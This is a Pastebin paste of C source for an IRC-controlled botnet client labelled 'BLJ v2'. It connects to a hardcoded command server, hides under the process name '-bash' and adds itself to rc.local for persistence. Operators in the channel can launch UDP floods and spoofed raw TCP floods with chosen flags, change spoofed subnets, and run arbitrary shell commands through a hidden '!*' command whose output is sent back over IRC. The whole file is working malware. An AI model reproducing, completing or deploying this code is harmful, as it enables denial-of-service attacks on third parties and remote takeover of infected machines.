API tools faq
paste
Advertisement
Guest User

test

a guest
Jul 15th, 2018
108
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.28 KB | None | 0 0
raw download clone embed print report
  1. #define STARTUP
  2. #undef IDENT
  3. #define FAKENAME "-bash"
  4. #define CHAN "#Test"
  5. #define KEY ""
  6. #define PORT 1
  7. int numservers=1;
  8. char *servers[] = {
  9. "94.177.241.118",
  10. (void*)0
  11. };
  12.  
  13. #define STD2_SIZE 550
  14. #define array_size(a) sizeof(a) / sizeof(a[0])
  15.  
  16. #include <stdarg.h>
  17. #include <errno.h>
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <sys/types.h>
  22. #include <sys/stat.h>
  23. #include <fcntl.h>
  24. #include <strings.h>
  25. #include <netinet/in.h>
  26. #include <unistd.h>
  27. #include <sys/time.h>
  28. #include <sys/socket.h>
  29. #include <signal.h>
  30. #include <arpa/inet.h>
  31. #include <netdb.h>
  32. #include <time.h>
  33. #include <sys/wait.h>
  34. #include <sys/ioctl.h>
  35. #include <net/if.h>
  36. #include <netinet/ip.h>
  37.  
  38. int sock,changeservers=0;
  39. char *server, *chan, *key, *nick, *ident, *user, execfile[256],dispass[256];
  40. unsigned int *pids;
  41. unsigned long spoofs=0, spoofsm=0, numpids=0;
  42. static uint32_t Q[4096], c = 362436;
  43. struct in_addr ourIP;
  44. unsigned char macAddress[6] = {0};
  45.  
  46. int strwildmatch(const char* pattern, const char* string) {
  47. switch(*pattern) {
  48. case '\0':
  49. return *string;
  50. case '*':
  51. return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  52. case '?':
  53. return !(*string && !strwildmatch(pattern+1, string+1));
  54. default:
  55. return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  56. }
  57. }
  58.  
  59. uint32_t rand_cmwc(void) {
  60. uint64_t t, a = 18782LL;
  61. static uint32_t i = 4095;
  62. uint32_t x, r = 0xfffffffe;
  63. i = (i + 1) & 4095;
  64. t = a * Q[i] + c;
  65. c = (uint32_t)(t >> 32);
  66. x = t + c;
  67. if (x < c) {
  68. x++;
  69. c++;
  70. }
  71. return (Q[i] = r - x);
  72. }
  73.  
  74. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) {
  75. int got = 1, total = 0;
  76. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') {
  77. got = read(fd, buffer + total, 1);
  78. total++;
  79. }
  80. return got == 0 ? NULL : buffer;
  81. }
  82.  
  83. int getOurIP() {
  84. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  85. if(sock == -1) return 0;
  86.  
  87. struct sockaddr_in serv;
  88. memset(&serv, 0, sizeof(serv));
  89. serv.sin_family = AF_INET;
  90. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  91. serv.sin_port = htons(53);
  92.  
  93. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  94. if(err == -1) return 0;
  95.  
  96. struct sockaddr_in name;
  97. socklen_t namelen = sizeof(name);
  98. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  99. if(err == -1) return 0;
  100.  
  101. ourIP.s_addr = name.sin_addr.s_addr;
  102.  
  103. int cmdline = open("/proc/net/route", O_RDONLY);
  104. char linebuf[4096];
  105. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  106. if(strstr(linebuf, "\t00000000\t") != NULL) {
  107. unsigned char *pos = linebuf;
  108. while(*pos != '\t') pos++;
  109. *pos = 0;
  110. break;
  111. }
  112. memset(linebuf, 0, 4096);
  113. }
  114. close(cmdline);
  115.  
  116. if(*linebuf) {
  117. int i;
  118. struct ifreq ifr;
  119. strcpy(ifr.ifr_name, linebuf);
  120. ioctl(sock, SIOCGIFHWADDR, &ifr);
  121. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  122. }
  123.  
  124. close(sock);
  125. }
  126.  
  127. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  128. iph->ihl = 5;
  129. iph->version = 4;
  130. iph->tos = 0;
  131. iph->tot_len = sizeof(struct iphdr) + packetSize;
  132. iph->id = rand_cmwc();
  133. iph->frag_off = 0;
  134. iph->ttl = MAXTTL;
  135. iph->protocol = protocol;
  136. iph->check = 0;
  137. iph->saddr = source;
  138. iph->daddr = dest;
  139. }
  140.  
  141. int Send(int sock, char *words, ...) {
  142. static char textBuffer[1024];
  143. va_list args;
  144. va_start(args, words);
  145. vsprintf(textBuffer, words, args);
  146. va_end(args);
  147. return write(sock,textBuffer,strlen(textBuffer));
  148. }
  149.  
  150. int mfork(char *sender) {
  151. unsigned int parent, *newpids, i;
  152. parent=fork();
  153. if (parent <= 0) return parent;
  154. numpids++;
  155. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  156. for (i=0; i<numpids-1; i++) newpids[i]=pids[i];
  157. newpids[numpids-1]=parent;
  158. free(pids);
  159. pids=newpids;
  160. return parent;
  161. }
  162.  
  163. unsigned long getspoof() {
  164. if (!spoofs) return rand();
  165. if (spoofsm == 1) return ntohl(spoofs);
  166. return ntohl(spoofs+(rand() % spoofsm)+1);
  167. }
  168.  
  169. void filter(char *a) {
  170. while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0;
  171. }
  172.  
  173. char *makestring() {
  174. char *tmp;
  175. int len=(rand()%5)+4,i;
  176. FILE *file;
  177. tmp=(char*)malloc(len+1);
  178. memset(tmp,0,len+1);
  179. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0; i<len; i++) tmp[i]=(rand()%(91-65))+65;
  180. else {
  181. int a=((rand()*rand())%45402)+1;
  182. char buf[1024];
  183. for (i=0; i<a; i++) fgets(buf,1024,file);
  184. memset(buf,0,1024);
  185. fgets(buf,1024,file);
  186. filter(buf);
  187. memcpy(tmp,buf,len);
  188. fclose(file);
  189. }
  190. return tmp;
  191. }
  192.  
  193. void identd() {
  194. int sockname,sockfd,sin_size,tmpsock,i;
  195. struct sockaddr_in my_addr,their_addr;
  196. char szBuffer[1024];
  197. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  198. my_addr.sin_family = AF_INET;
  199. my_addr.sin_port = htons(113);
  200. my_addr.sin_addr.s_addr = INADDR_ANY;
  201. memset(&(my_addr.sin_zero), 0, 8);
  202. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  203. if (listen(sockfd, 1) == -1) return;
  204. if (fork() == 0) return;
  205. sin_size = sizeof(struct sockaddr_in);
  206. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  207. for(;;) {
  208. fd_set bla;
  209. struct timeval timee;
  210. FD_ZERO(&bla);
  211. FD_SET(tmpsock,&bla);
  212. timee.tv_sec=timee.tv_usec=60;
  213. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  214. if (FD_ISSET(tmpsock,&bla)) break;
  215. }
  216. i = recv(tmpsock,szBuffer,1024,0);
  217. if (i <= 0 || i >= 20) exit(0);
  218. szBuffer[i]=0;
  219. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  220. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  221. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  222. close(tmpsock);
  223. close(sockfd);
  224. exit(0);
  225. }
  226.  
  227. long pow(long a, long b) {
  228. if (b == 0) return 1;
  229. if (b == 1) return a;
  230. return a*pow(a,b-1);
  231. }
  232.  
  233. u_short in_cksum(u_short *addr, int len) {
  234. register int nleft = len;
  235. register u_short *w = addr;
  236. register int sum = 0;
  237. u_short answer =0;
  238. while (nleft > 1) {
  239. sum += *w++;
  240. nleft -= 2;
  241. }
  242. if (nleft == 1) {
  243. *(u_char *)(&answer) = *(u_char *)w;
  244. sum += answer;
  245. }
  246. sum = (sum >> 16) + (sum & 0xffff);
  247. sum += (sum >> 16);
  248. answer = ~sum;
  249. return(answer);
  250. }
  251.  
  252. void getspoofs(int sock, char *sender, int argc, char **argv) {
  253. unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  254. if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  255. else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  256. }
  257.  
  258. void version(int sock, char *sender, int argc, char **argv) {
  259. Send(sock,"NOTICE %s : BLJ v2\n",sender);
  260. }
  261.  
  262. void nickc(int sock, char *sender, int argc, char **argv) {
  263. if (argc != 1) {
  264. Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  265. return;
  266. }
  267. if (strlen(argv[1]) >= 10) {
  268. Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  269. return;
  270. }
  271. Send(sock,"NICK %s\n",argv[1]);
  272. }
  273.  
  274. void spoof(int sock, char *sender, int argc, char **argv) {
  275. char ip[256];
  276. int i, num;
  277. unsigned long uip;
  278. if (argc != 1) {
  279. Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  280. spoofs=0;
  281. spoofsm=0;
  282. return;
  283. }
  284. if (strlen(argv[1]) > 16) {
  285. Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  286. return;
  287. }
  288. strcpy(ip,argv[1]);
  289. if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  290. for (i=0, num=1; i<strlen(ip); i++) if (ip[i] == '.') num++;
  291. num=-(num-4);
  292. for (i=0; i<num; i++) strcat(ip,".0");
  293. uip=inet_network(ip);
  294. if (num == 0) spoofsm=1;
  295. else spoofsm=pow(256,num);
  296. spoofs=uip;
  297. }
  298.  
  299. struct udphdr {
  300. unsigned short source;
  301. unsigned short dest;
  302. unsigned short len;
  303. unsigned short check;
  304. };
  305.  
  306. struct tcphdr {
  307. unsigned short source;
  308. unsigned short dest;
  309. unsigned long seq;
  310. unsigned long ack_seq;
  311. unsigned short res1:4, doff:4;
  312. unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  313. unsigned short window;
  314. unsigned short check;
  315. unsigned short urg_ptr;
  316. };
  317.  
  318. struct send_tcp {
  319. struct iphdr ip;
  320. struct tcphdr tcp;
  321. char buf[20];
  322. };
  323. struct pseudo_header {
  324. unsigned int source_address;
  325. unsigned int dest_address;
  326. unsigned char placeholder;
  327. unsigned char protocol;
  328. unsigned short tcp_length;
  329. struct tcphdr tcp;
  330. char buf[20];
  331. };
  332.  
  333. unsigned int host2ip(char *sender,char *hostname) {
  334. static struct in_addr i;
  335. struct hostent *h;
  336. if((i.s_addr = inet_addr(hostname)) == -1) {
  337. if((h = gethostbyname(hostname)) == NULL) {
  338. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  339. exit(0);
  340. }
  341. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  342. }
  343. return i.s_addr;
  344. }
  345.  
  346. in_addr_t getRandomIP(in_addr_t netmask) {
  347. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  348. return tmp ^ ( rand_cmwc() & ~netmask);
  349. }
  350.  
  351. unsigned short csum (unsigned short *buf, int count) {
  352. register uint64_t sum = 0;
  353. while( count > 1 ) {
  354. sum += *buf++;
  355. count -= 2;
  356. }
  357. if(count > 0) {
  358. sum += *(unsigned char *)buf;
  359. }
  360. while (sum>>16) {
  361. sum = (sum & 0xffff) + (sum >> 16);
  362. }
  363. return (uint16_t)(~sum);
  364. }
  365.  
  366. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  367.  
  368. struct tcp_pseudo {
  369. unsigned long src_addr;
  370. unsigned long dst_addr;
  371. unsigned char zero;
  372. unsigned char proto;
  373. unsigned short length;
  374. } pseudohead;
  375. unsigned short total_len = iph->tot_len;
  376. pseudohead.src_addr=iph->saddr;
  377. pseudohead.dst_addr=iph->daddr;
  378. pseudohead.zero=0;
  379. pseudohead.proto=IPPROTO_TCP;
  380. pseudohead.length=htons(sizeof(struct tcphdr));
  381. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  382. unsigned short *tcp = malloc(totaltcp_len);
  383. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  384. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  385. unsigned short output = csum(tcp,totaltcp_len);
  386. free(tcp);
  387. return output;
  388. }
  389.  
  390. int getHost(unsigned char *toGet, struct in_addr *i) {
  391. struct hostent *h;
  392. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  393. return 0;
  394. }
  395.  
  396. void raw_udpflood(int sock, char *sender, int argc, char **argv) {
  397. int flag=1,fd,i;
  398. unsigned long secs;
  399. char *buf=(char*)malloc(65500);
  400. struct hostent *hp;
  401. struct sockaddr_in in;
  402. time_t start=time(NULL);
  403. if (mfork(sender) != 0) return;
  404. if (argc < 2) {
  405. Send(sock,"NOTICE %s :RAWUDP <target> <secs>\n",sender);
  406. exit(1);
  407. }
  408. secs=atol(argv[2]);
  409. memset((void*)&in,0,sizeof(struct sockaddr_in));
  410. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  411. in.sin_family = AF_INET;
  412. Send(sock,"NOTICE %s :rawUDP packeting %s.\n",sender,argv[1]);
  413. while(1) {
  414. in.sin_port = rand();
  415. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  416. else {
  417. flag=1;
  418. ioctl(fd,FIONBIO,&flag);
  419. sendto(fd,buf,65500,0,(struct sockaddr*)&in,sizeof(in));
  420. close(fd);
  421. }
  422. if (i >= 50) {
  423. if (time(NULL) >= start+secs) break;
  424. i=0;
  425. }
  426. i++;
  427. }
  428. close(fd);
  429. exit(0);
  430. }
  431.  
  432. void std_flood(int sock, char *sender, int argc, char **argv) {
  433. if (mfork(sender) != 0) return;
  434. if (argc < 3) {
  435. Send(sock,"NOTICE %s <target> <port> <secs>\n",sender);
  436. exit(1);
  437. }
  438. unsigned long secs;
  439. int iSTD_Sock;
  440. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  441.  
  442. time_t start = time(NULL);
  443. secs = atol(argv[3]);
  444. Send(sock,"NOTICE %s :STD packeting %s.\n",chan,argv[1]);
  445.  
  446. struct sockaddr_in sin;
  447. struct hostent *hp;
  448. hp = gethostbyname(argv[1]);
  449.  
  450. bzero((char*) &sin,sizeof(sin));
  451. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  452. sin.sin_family = hp->h_addrtype;
  453. sin.sin_port = atol(argv[2]);
  454.  
  455. unsigned int a = 0;
  456.  
  457. while(1) {
  458. if (a >= 50) {
  459. send(iSTD_Sock, *makestring(), STD2_SIZE, 0); // check
  460. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  461. if (time(NULL) >= start + secs) {
  462. Send(sock, "NOTICE %s :[STD]Done hitting %s!\n", chan, argv[1]);
  463. close(iSTD_Sock);
  464. exit(0);
  465. }
  466. a = 0;
  467. }
  468. a++;
  469. }
  470.  
  471. }
  472.  
  473. void tcpflood(int sock, char *sender, int argc, char **argv) {
  474. if (mfork(sender) != 0) return;
  475.  
  476. if (argc < 7) {
  477. Send(sock,"NOTICE %s :TCP <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> \n",sender);
  478. exit(1);
  479. }
  480.  
  481. char *target = argv[1], *flags = argv[5];
  482. int port = atoi(argv[2]), timeEnd = atoi(argv[3]), spoofit = atoi(argv[4]), packetsize = atoi(argv[6]), pollinterval = atoi(argv[7]);
  483.  
  484. register unsigned int pollRegister;
  485. pollRegister = pollinterval;
  486.  
  487. struct sockaddr_in dest_addr;
  488.  
  489. dest_addr.sin_family = AF_INET;
  490. if(port == 0) dest_addr.sin_port = rand_cmwc();
  491. else dest_addr.sin_port = htons(port);
  492. if(getHost(target, &dest_addr.sin_addr)) return;
  493. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  494.  
  495. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  496. if(!sockfd) {
  497. Send(sock,"NOTICE %s :Failed opening raw socket.\n",sender);
  498. return;
  499. }
  500.  
  501. int tmp = 1;
  502. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  503. Send(sock,"NOTICE %s :Failed setting raw headers mode.\n",sender);
  504. return;
  505. }
  506.  
  507. in_addr_t netmask;
  508.  
  509. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  510. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  511.  
  512. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  513. struct iphdr *iph = (struct iphdr *)packet;
  514. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  515.  
  516. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  517.  
  518. tcph->source = rand_cmwc();
  519. tcph->seq = rand_cmwc();
  520. tcph->ack_seq = 0;
  521. tcph->doff = 5;
  522.  
  523. if(!strcmp(flags, "all")) {
  524. tcph->syn = 1;
  525. tcph->rst = 1;
  526. tcph->fin = 1;
  527. tcph->ack = 1;
  528. tcph->psh = 1;
  529. } else {
  530. unsigned char *pch = strtok(flags, ",");
  531. while(pch) {
  532. if(!strcmp(pch, "syn")) {
  533. tcph->syn = 1;
  534. } else if(!strcmp(pch, "rst")) {
  535. tcph->rst = 1;
  536. } else if(!strcmp(pch, "fin")) {
  537. tcph->fin = 1;
  538. } else if(!strcmp(pch, "ack")) {
  539. tcph->ack = 1;
  540. } else if(!strcmp(pch, "psh")) {
  541. tcph->psh = 1;
  542. } else {
  543. Send(sock, "NOTICE %s :Invalid flag %s\n", sender, pch);
  544. }
  545. pch = strtok(NULL, ",");
  546. }
  547. }
  548.  
  549. tcph->window = rand_cmwc();
  550. tcph->check = 0;
  551. tcph->urg_ptr = 0;
  552. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  553. tcph->check = tcpcsum(iph, tcph);
  554.  
  555. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  556.  
  557. int end = time(NULL) + timeEnd;
  558. register unsigned int i = 0;
  559.  
  560. Send(sock,"NOTICE %s :TCP packeting %s.\n",sender,argv[1]);
  561.  
  562. while(1) {
  563. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  564.  
  565. iph->saddr = htonl( getRandomIP(netmask) );
  566. iph->id = rand_cmwc();
  567. tcph->seq = rand_cmwc();
  568. tcph->source = rand_cmwc();
  569. tcph->check = 0;
  570. tcph->check = tcpcsum(iph, tcph);
  571. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  572.  
  573. if(i == pollRegister) {
  574. if(time(NULL) > end) break;
  575. i = 0;
  576. continue;
  577. }
  578. i++;
  579. }
  580. Send(sock,"NOTICE %s :TCP flood against %s finished.\n",sender,argv[1]);
  581. }
  582.  
  583. void move(int sock, char *sender, int argc, char **argv) {
  584. if (argc < 1) {
  585. Send(sock,"NOTICE %s :POINT <server>\n",sender);
  586. exit(1);
  587. }
  588. server=strdup(argv[1]);
  589. changeservers=1;
  590. close(sock);
  591. }
  592.  
  593. void help(int sock, char *sender, int argc, char **argv) {
  594. if (mfork(sender) != 0) return;
  595. Send(sock,"NOTICE %s :RAWUDP <target> <secs>\n",sender);
  596. Send(sock,"NOTICE %s :TCP <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> \n",sender);
  597. Send(sock,"NOTICE %s :STD <target> <secs>\n",sender);
  598. Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  599. Send(sock,"NOTICE %s :POINT <server>\n",sender);
  600. Send(sock,"NOTICE %s :GETSPOOFS\n",sender);
  601. Send(sock,"NOTICE %s :SPOOFS <subnet>\n",sender);
  602. Send(sock,"NOTICE %s :KILL\n",sender);
  603. Send(sock,"NOTICE %s :IRC <command>\n",sender);
  604. Send(sock,"NOTICE %s :VERSION\n",sender);
  605. Send(sock,"NOTICE %s :KILLALL\n",sender);
  606. Send(sock,"NOTICE %s :HELP\n",sender);
  607. exit(0);
  608. }
  609.  
  610. void killall(int sock, char *sender, int argc, char **argv) {
  611. unsigned long i;
  612. for (i=0; i<numpids; i++) {
  613. if (pids[i] != 0 && pids[i] != getpid()) {
  614. //if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  615. kill(pids[i],9);
  616. }
  617. }
  618. }
  619.  
  620. struct FMessages {
  621. char *cmd;
  622. void (* func)(int,char *,int,char **);
  623. } flooders[] = {
  624. { "RAWUDP", raw_udpflood },
  625. { "STD", std_flood},
  626. { "TCP", tcpflood},
  627.  
  628. { "NICK", nickc },
  629. { "POINT", move },
  630. { "GETSPOOFS", getspoofs },
  631. { "SPOOFS", spoof },
  632. { "KILLALL", killall },
  633. { "HELP", help },
  634. { (char *)0, (void (*)(int,char *,int,char **))0 }
  635. };
  636.  
  637. void _NOTICE(int sock, char *sender, char *str) {
  638. int i;
  639. char *to, *message;
  640. for (i=0; i<strlen(str) && str[i] != ' '; i++);
  641. str[i]=0;
  642. to=str;
  643. message=str+i+2;
  644. for (i=0; i<strlen(sender) && sender[i] != '!'; i++);
  645. sender[i]=0;
  646. if (*message == '!' && !strcasecmp(to,chan)) {
  647. char *params[12], name[1024]= {0};
  648. int num_params=0, m;
  649. message++;
  650. for (i=0; i<strlen(message) && message[i] != ' '; i++);
  651. message[i]=0;
  652. if (strwildmatch(message,nick)) return;
  653. message+=i+1;
  654.  
  655. if (!strncmp(message,"!* ",3)) {
  656. char buf[1024];
  657. FILE *command;
  658. if (mfork(sender) != 0) return;
  659. memset(buf,0,1024);
  660. sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  661. command=popen(buf,"r");
  662. while(!feof(command)) {
  663. memset(buf,0,1024);
  664. fgets(buf,1024,command);
  665. Send(sock,"NOTICE %s :%s\n",sender,buf);
  666. sleep(1);
  667. }
  668. pclose(command);
  669. exit(0);
  670. }
  671. m=strlen(message);
  672. for (i=0; i<m; i++) {
  673. if (*message == ' ' || *message == 0) break;
  674. name[i]=*message;
  675. message++;
  676. }
  677. for (i=0; i<strlen(message); i++) if (message[i] == ' ') num_params++;
  678. num_params++;
  679. if (num_params > 10) num_params=10;
  680. params[0]=name;
  681. params[num_params+1]="\0";
  682. m=1;
  683. while (*message != 0) {
  684. message++;
  685. if (m >= num_params) break;
  686. for (i=0; i<strlen(message) && message[i] != ' '; i++);
  687. params[m]=(char*)malloc(i+1);
  688. strncpy(params[m],message,i);
  689. params[m][i]=0;
  690. m++;
  691. message+=i;
  692. }
  693. for (m=0; flooders[m].cmd != (char *)0; m++) {
  694. if (!strcasecmp(flooders[m].cmd,name)) {
  695. flooders[m].func(sock,sender,num_params-1,params);
  696. for (i=1; i<num_params; i++) free(params[i]);
  697. return;
  698. }
  699. }
  700. }
  701. }
  702. void _376(int sock, char *sender, char *str) {
  703. Send(sock,"MODE %s -xi\n",nick);
  704. Send(sock,"JOIN %s :%s\n",chan,key);
  705. Send(sock,"WHO %s\n",nick);
  706. }
  707. void _PING(int sock, char *sender, char *str) {
  708. Send(sock,"PONG %s\n",str);
  709. }
  710. void _352(int sock, char *sender, char *str) {
  711. int i,d;
  712. char *msg=str;
  713. struct hostent *hostm;
  714. unsigned long m;
  715. for (i=0,d=0; d<5; d++) {
  716. for (; i<strlen(str) && *msg != ' '; msg++,i++);
  717. msg++;
  718. if (i == strlen(str)) return;
  719. }
  720. for (i=0; i<strlen(msg) && msg[i] != ' '; i++);
  721. msg[i]=0;
  722. if (!strcasecmp(msg,nick) && !spoofsm) {
  723. msg=str;
  724. for (i=0,d=0; d<3; d++) {
  725. for (; i<strlen(str) && *msg != ' '; msg++,i++);
  726. msg++;
  727. if (i == strlen(str)) return;
  728. }
  729. for (i=0; i<strlen(msg) && msg[i] != ' '; i++);
  730. msg[i]=0;
  731. if ((m = inet_addr(msg)) == -1) {
  732. if ((hostm=gethostbyname(msg)) == NULL) {
  733. Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  734. return;
  735. }
  736. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  737. }
  738. ((char*)&spoofs)[3]=((char*)&m)[0];
  739. ((char*)&spoofs)[2]=((char*)&m)[1];
  740. ((char*)&spoofs)[1]=((char*)&m)[2];
  741. ((char*)&spoofs)[0]=0;
  742. spoofsm=256;
  743. }
  744. }
  745. void _433(int sock, char *sender, char *str) {
  746. snprintf(nick, sizeof(nick), "%s-%s", getBuild(), makestring());
  747. }
  748.  
  749. void _NICK(int sock, char *sender, char *str) {
  750. int i;
  751. for (i=0; i<strlen(sender) && sender[i] != '!'; i++);
  752. sender[i]=0;
  753. if (!strcasecmp(sender,nick)) {
  754. if (*str == ':') str++;
  755. snprintf(nick, sizeof(nick), "%s-%s", getBuild(), makestring());
  756. }
  757. }
  758.  
  759. char *getBuild() {
  760. #if defined(__x86_64__) || defined(_M_X64)
  761. return "x86_64";
  762. #elif defined(__i386) || defined(_M_IX86)
  763. return "x86_32";
  764. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  765. return "ARM-4";
  766. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  767. return "ARM-5"
  768. #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  769. return "ARM-6";
  770. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  771. return "MIPS";
  772. #elif defined(__sh__)
  773. return "SUPERH";
  774. #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  775. return "POWERPC";
  776. #else
  777. return "UNKNOWN";
  778. #endif
  779. }
  780.  
  781.  
  782. struct Messages {
  783. char *cmd;
  784. void (* func)(int,char *,char *);
  785. } msgs[] = {
  786. { "352", _352 },
  787. { "376", _376 },
  788. { "433", _433 },
  789. { "422", _376 },
  790. { "NOTICE", _NOTICE },
  791. { "PING", _PING },
  792. { "NICK", _NICK },
  793. { (char *)0, (void (*)(int,char *,char *))0 }
  794. };
  795. void con() {
  796. struct sockaddr_in srv;
  797. unsigned long ipaddr,start;
  798. int flag;
  799. struct hostent *hp;
  800. start:
  801. sock=-1;
  802. flag=1;
  803. if (changeservers == 0) server=servers[rand()%numservers];
  804. changeservers=0;
  805. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  806. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  807. if ((hp = gethostbyname(server)) == NULL) {
  808. server=NULL;
  809. close(sock);
  810. goto start;
  811. }
  812. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  813. }
  814. else srv.sin_addr.s_addr=inet_addr(server);
  815. srv.sin_family = AF_INET;
  816. srv.sin_port = htons(PORT);
  817. ioctl(sock,FIONBIO,&flag);
  818. start=time(NULL);
  819. while(time(NULL)-start < 10) {
  820. errno=0;
  821. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  822. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  823. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  824. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  825. return;
  826. }
  827. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  828. sleep(1);
  829. }
  830. server=NULL;
  831. close(sock);
  832. goto start;
  833. }
  834. int main(int argc, char **argv) {
  835. int on,i;
  836. char cwd[256],*str;
  837. FILE *file;
  838. #ifdef STARTUP
  839. str="/etc/rc.d/rc.local";
  840. file=fopen(str,"r");
  841. if (file == NULL) {
  842. str="/etc/rc.conf";
  843. file=fopen(str,"r");
  844. }
  845. if (file != NULL) {
  846. char outfile[256], buf[1024];
  847. int i=strlen(argv[0]), d=0;
  848. getcwd(cwd,256);
  849. if (strcmp(cwd,"/")) {
  850. while(argv[0][i] != '/') i--;
  851. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  852. while(!feof(file)) {
  853. fgets(buf,1024,file);
  854. if (!strcasecmp(buf,outfile)) d++;
  855. }
  856. if (d == 0) {
  857. FILE *out;
  858. fclose(file);
  859. out=fopen(str,"a");
  860. if (out != NULL) {
  861. fputs(outfile,out);
  862. fclose(out);
  863. }
  864. }
  865. else fclose(file);
  866. }
  867. else fclose(file);
  868. }
  869. #endif
  870. if (fork()) exit(0);
  871. getOurIP();
  872. #ifdef FAKENAME
  873. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  874. for (on=1; on<argc; on++) memset(argv[on],0,strlen(argv[on]));
  875. #endif
  876. srand((time(NULL) ^ getpid()) + getppid());
  877. snprintf(nick, sizeof(nick), "[%s]-[%s]", getBuild(), makestring());
  878. ident=makestring(rand() % 9 + 4);
